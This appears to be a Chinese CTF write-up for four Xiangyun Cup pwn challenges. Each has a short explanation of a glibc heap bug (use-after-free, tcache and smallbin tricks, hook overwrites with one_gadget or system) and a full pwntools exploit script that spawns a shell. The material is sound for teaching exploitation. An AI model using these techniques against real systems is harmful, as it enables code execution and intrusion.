0%

祥云杯

5fb371dd5e3db.jpg

太菜了,全靠队友带,打了俩天就出了俩个,还有几个过几天复现一下,再来更新wp。

影流之主

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用

程序存在 uaf 漏洞,而且限制了 add,edit 等函数的使用此时,但是这里只限制了 if(0),如果时if(-1)的一些情况就可以绕过,也就没有了使用函数次数的限制了。这里首先通过 uaf 漏洞将 chunk 申请到 bss 段,修改 chunk 指针为free_got 地址,然后利用 show来泄露libc,之后多次edit就可以绕过限制edit函数次数,之后将chunk地址修改为malloc_hook,写入 one_gadget,来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#! /usr/bin/env python
from pwn import *
#sh=process('./pwn3')
sh=remote('8.131.69.237',45123)
elf=ELF('./pwn3')
libc=ELF('./libc.so.6')
context.log_level='debug'
def add():
sh.sendline('1')
sleep(0.1)
def free(index):
sh.sendline('2')
sleep(0.1)
sh.sendline(str(index))
sleep(0.1)
def edit(index,content):
sh.sendline('3')
sleep(0.1)
sh.sendline(str(index))
sleep(0.1)
sh.send(content)
def edit_index(index):
sh.sendline('3')
sleep(0.1)
sh.sendline(str(index))
sleep(0.1)
def show(index):
sh.sendline('4')
sleep(0.1)
sh.sendline(str(index))
sleep(0.1)
def glob(content):
sh.sendline('5')
sleep(0.1)
#gdb.attach(sh,'b *0x0000000000400C14')
#raw_input()
sh.sendline(content)
sleep(0.1)
add() #0
free(0)
edit(0,p64(0x602060-0x23))
add() #1
add() #2
edit(2,'aaa'+p64(0)*2+p64(elf.got['free']))
show(0)
free_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('free_addr : ' +hex(free_addr))
libc_base=free_addr-libc.symbols['free']
sh.success('libc_base : ' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0xf1207
sh.success('one_gadget : ' +hex(one_gadget))
edit_index(2)
edit_index(2)
edit_index(2)
edit(2,'bbb'+p64(0)*2+p64(malloc_hook))
edit(0,p64(one_gadget))
add()
#gdb.attach(sh)
sh.interactive()

Beauty_Of_ChangChun

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用

程序没有将 free 后的指针置 0,并且在将 size 置 0 的时候,但是只将它的一个字节置 0,所有当我们申请 0x100 大小的 chunk 时,可以绕过。程序会把 flag 输入到程序的某个地方。只要我们能够让这俩个地方的内容相等,我们就可以拿到 flag。这里我们通过 calloc 函数的特性绕过 tcache bin 检查,并且将 tcache bin 填充满,将chunk1,chunk0,free 掉进入 unsorted bin,泄露 libc 地址,和 heap 地址。然后通过程序中的函数,calloc(1uLL, 0x3FFuLL);将我们的之前在 unsorted bin 中的 chunk 分配到 small bin 中,修改chunk0 的 bk 指针,之后通过一次 malloc 申请将 tcache bin 中的 chunk 申请回来,此时 tcache bin 中的 chunk 为 6 个,此时进行 calloc 将smallbin 中的 chunk 申请回来,small bin 中剩余的 chunk 会被链入 tcache bin 中。而且此时我们伪造的 bk 指针的地方会被写入 libc 的值。之后就是我们将和它一样的 libc 写入一个 chunk 中,进行比较后拿到 flag。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#! /usr/bin/env python
from pwn import *
sh=process('./pwn')
#sh=remote('112.126.71.170',43652)
elf=ELF('./pwn')
context.log_level='debug'
def add(size):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('1')
sh.recvuntil('size:\n')
sh.sendline(str(size))
def free(index):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('2')
sh.recvuntil('idx:\n')
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('3')
sh.recvuntil('idx:\n')
sh.sendline(str(index))
sh.recvuntil('chat:\n')
sh.send(content)
def show(index):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('4')
sh.recvuntil('idx:\n')
sh.sendline(str(index))
def malloc(content):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('5')
sh.send(content)
def calloc():
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('666')
def malloc_index(index):
sh.recvuntil('4: Enjoy scenery\n')
sh.sendline('5')
sh.recvuntil('input idx\n')
sh.send(str(index))
sh.recvuntil('A gift from ChangChun People\n')
gift_addr=int(sh.recv(12),16)
sh.success('gift_addr : ' +hex(gift_addr))
add(0x100) #0
add(0xf9) #1
free(1)
add(0x100) #1
for i in range(6):
add(0xf9) #2
free(2)
free(1)
free(0)
show(1)
sh.recvuntil('see\n')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('main_arena : ' +hex(main_arena))
show(0)
sh.recvuntil('see\n')
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('heap_addr : ' +hex(heap_addr))
calloc()
edit(0,p64(heap_addr)+p64(gift_addr-0x10))
malloc('aaaa')
add(0x100) #2
edit(2,p64(main_arena+0x100))
malloc_index(2)
#gdb.attach(sh)
sh.interactive()

babypwn

赛后复现,参考了Nu1L的wp

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用

泄露libc和堆地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
init()
create()
init()
add(0x80)
show()
sh.recvuntil('show:\n')
main_arena=u64(sh.recv(8))-88
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x11c40
sh.success('heap_base :' +hex(heap_base))
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0xf1207
sh.success('one_gadget : ' +hex(one_gadget))
system_addr=libc_base+libc.symbols['system']
1
2
3
4
5
6
7
case 2u:
v5 = *v4;
v6 = operator new(8uLL);
v7 = *(v4 + 8);
a3 = v6; <-------
*(v4 + 8) = v6;
*v6 = v5;

可以看到只有我们调用create函数,a3指针才会改变。而我们init后释放的chunk里的数据没有被清空,此时a3指针任然指向这个chunk,我们就可以通过show函数,去泄露libc和heap地址

getshell
1
2
edit(p64(heap_base+0x11c50)+p64(0)+p64(0)+p64(0)+p64(0x401350)+3*p64(0)+p64(one_gadget))
size()

程序给了我们后门函数,我们通过修改申请回来的chunk,达到getshell的目的。

1
2
3
.text:0000000000400E50                 mov     rdi, [rbp+0]    ; jumptable 0000000000400D4E case 6
.text:0000000000400E54 mov rax, [rdi]
.text:0000000000400E57 call qword ptr [rax+10h]

这里是(*(**a3 + 16LL))(*a3, 0LL);的汇编,通过调试发现,rbp的值是heap地址,当执行call的时候,会调用[rax+0x10]。我们将这个地址指向0x401350处,也就是下面这里。

1
2
3
4
5
.text:0000000000401350                 mov     rax, [rax+30h]
.text:0000000000401354 cmp rax, offset _ZNKSt5ctypeIcE8do_widenEc ;
.text:000000000040135A jz loc_40107D
.text:0000000000401360 mov rdi, rbx
.text:0000000000401363 call rax

只要我们在[rax+0x30]处写入one_gadget,然后指向call rax的时候就会拿到shell。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#! /usr/bin/env python

from pwn import *

sh=process('./pwn2')
elf=ELF('./pwn2')
context.log_level='debug'
libc=ELF('./libc.so.6')

def init():
sh.recvuntil('choice:\n')
sh.sendline('1')

def create():
sh.recvuntil('choice:\n')
sh.sendline('2')

def add(size):
sh.recvuntil('choice:\n')
sh.sendline('3')
sh.recvuntil('size:\n')
sh.sendline(str(size))

def edit(content):
sh.recvuntil('choice:\n')
sh.sendline('4')
sh.recvuntil('content:\n')
sh.send(content)

def show():
sh.recvuntil('choice:\n')
sh.sendline('5')

def size():
sh.recvuntil('choice:\n')
sh.sendline('6')

init()
create()
init()
add(0x80)
show()
sh.recvuntil('show:\n')
main_arena=u64(sh.recv(8))-88
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x11c40
sh.success('heap_base :' +hex(heap_base))
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0xf1207
sh.success('one_gadget : ' +hex(one_gadget))
system_addr=libc_base+libc.symbols['system']

edit(p64(heap_base+0x11c50)+p64(0)+p64(0)+p64(0)+p64(0x401350)+3*p64(0)+p64(one_gadget))
size()
#gdb.attach(sh)
sh.interactive()

garden

checksec检查

新版checksec真难用

1
2
RELRO           STACK CANARY      NX            PIE        
Full RELRO Canary found NX enabled PIE enabled

利用

该glibc是2.29的,程序开辟限定了大小,也之存在一次uaf漏洞利用,和fastbin的开辟,结合tcache bin机制和unsorted bin分割通过uaf构造堆重叠,打印函数打印出unsorted bin的残留信息泄漏出libc,通过堆重叠修该tcache fd指向__free_hook,指针数组已经满了,重新释放掉再开辟即可开辟到__free_hook处,修改为system,free传入’/bin/sh’即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python3

from pwn import *

sh=process('./garden')
elf=ELF('./garden')
libc=ELF('./libc.so.6')
context.log_level='debug'

def add(index,content):
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('index?\n')
sh.sendline(str(index))
sh.recvuntil('name?\n')
sh.send(content)

def free(index):
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil('index?\n')
sh.sendline(str(index))

def show(index):
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil('index?\n')
sh.sendline(str(index))

def steal(index):
sh.recvuntil('>> ')
sh.sendline('5')
sh.recvuntil('steal?\n')
sh.sendline(str(index))

def malloc_0x20():
sh.recvuntil('>> ')
sh.sendline('6')


for i in range(8):
add(i,'AAAA')

for i in range(7):
free(7-i)
#gdb.attach(sh)

free(0)
for i in range(7):
add(i,'AAAA')

malloc_0x20()
add(7,'AAAA')

for i in range(7):
free(7-i)

free(0)
for i in range(7):
add(i,'A'*8)

add(7,'A'*8)
show(7)
sh.recv(8)
main_arena=u64(sh.recv(6).ljust(8,b'\x00'))-96
sh.success('main_arena : ' +hex(main_arena))
#libc_base=main_arena-0x1c6b80
libc_base=main_arena-libc.symbols['__malloc_hook']-0x10
sh.success('libc_base : ' +hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
sh.success('free_hook : ' +hex(free_hook))
system_addr=libc_base+libc.symbols['system']

for i in range(7):
free(7-i)

steal(0)

for i in range(7):
add(i+1,'AAAA')

payload=b'A'*0xd0+p64(0)+p64(0x111)+p64(0)+p64(0)
add(8,payload)

free(0)
free(8)
payload= b'A' * 0xd0
payload+=p64(0)+p64(0x111)
payload+=p64(free_hook) + p64(0)
add(8,payload)

for i in range(8):
free(i)
for i in range(7):
add(i,'/bin/sh\x00')

add(7,p64(system_addr))
free(1)
#gdb.attach(sh)

sh.interactive()